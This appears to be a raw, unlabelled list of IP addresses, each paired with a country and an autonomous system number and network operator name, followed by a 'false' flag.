28812 JSCBIS-ASRU false
21.250.89.73
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
71.135.132.136
 unknown United States
7018 ATT-INTERNET4US false
154.58.169.216
 unknown United States
174 COGENT-174US false
177.157.92.203
 unknown Brazil
10429 TELEFONICABRASILSABR false
119.29.172.0
 unknown China
45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
123.82.64.210
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
78.138.245.57
 unknown Saudi Arabia
35819 MOBILY-ASEtihadEtisalatCompanyMobilySA false
80.21.63.113
 unknown Italy
3269 ASN-IBSNAZIT false
129.132.94.76
 unknown Switzerland
559 SWITCHPeeringrequestspeeringswitchchEU false
203.62.77.146
 unknown Australia
7575 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe false
195.207.100.236
 unknown Belgium
5432 PROXIMUS-ISP-ASBE false
61.200.27.163
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
217.49.249.92
 unknown Germany
6805 TDDE-ASN1DE false
193.102.148.139
 unknown Germany
24989 IXEUROPE-DE-FRANKFURT-ASNEquinixGermanyPreviouslyIXEur false
196.132.44.46
 unknown Egypt
36935 Vodafone-EG false
164.3.41.71
 unknown Austria
8387 T-SYSTEMS-ATRennweg97-99AT false
156.102.246.142
 unknown United States
393504 XNSTGCA false
85.159.148.81
 unknown Italy
39825 SPARKINIT-ASNIT false
169.141.32.42
 unknown United States
18755 ASPECT-SERVICEUS false
128.204.51.62
 unknown Russian Federation
12714 TI-ASMoscowRussiaRU false
175.118.34.180
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
77.149.76.130
 unknown France
15557 LDCOMNETFR false
148.204.127.192
 unknown Mexico
3484 InstitutoPolitecnicoNacionalMX false
134.242.104.162
 unknown United States
22787 ARRISUS false
76.37.160.78
 unknown United States
18494 CENTURYLINK-LEGACY-EMBARQ-WRBGUS false
210.139.236.206
 unknown Japan 2527 SO-NETSo-netEntertainmentCorporationJP false
6.249.129.178
 unknown United States
3356 LEVEL3US false
119.50.208.104
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
95.0.190.150
 unknown Turkey
9121 TTNETTR false
217.56.0.98
 unknown Italy
3269 ASN-IBSNAZIT false
53.117.208.67
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
27.42.198.104
 unknown China
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
180.116.203.54
 unknown China
137702 CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince false
21.21.133.249
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
220.216.20.81
 unknown Japan 10010 TOKAITOKAICommunicationsCorporationJP false
76.71.112.99
 unknown Canada
577 BACOMCA false
103.18.86.131
 unknown Australia
58580 FASTRACKFastrackTechnologyAU false
125.57.231.241
 unknown Korea Republic of
17878 MARK1-AS-KRDREAMMARK1KR false
30.50.171.194
 unknown United States
7922 COMCAST-7922US false
204.175.118.88
 unknown United States
14683 WILSHIREASSOCIATESINCUS false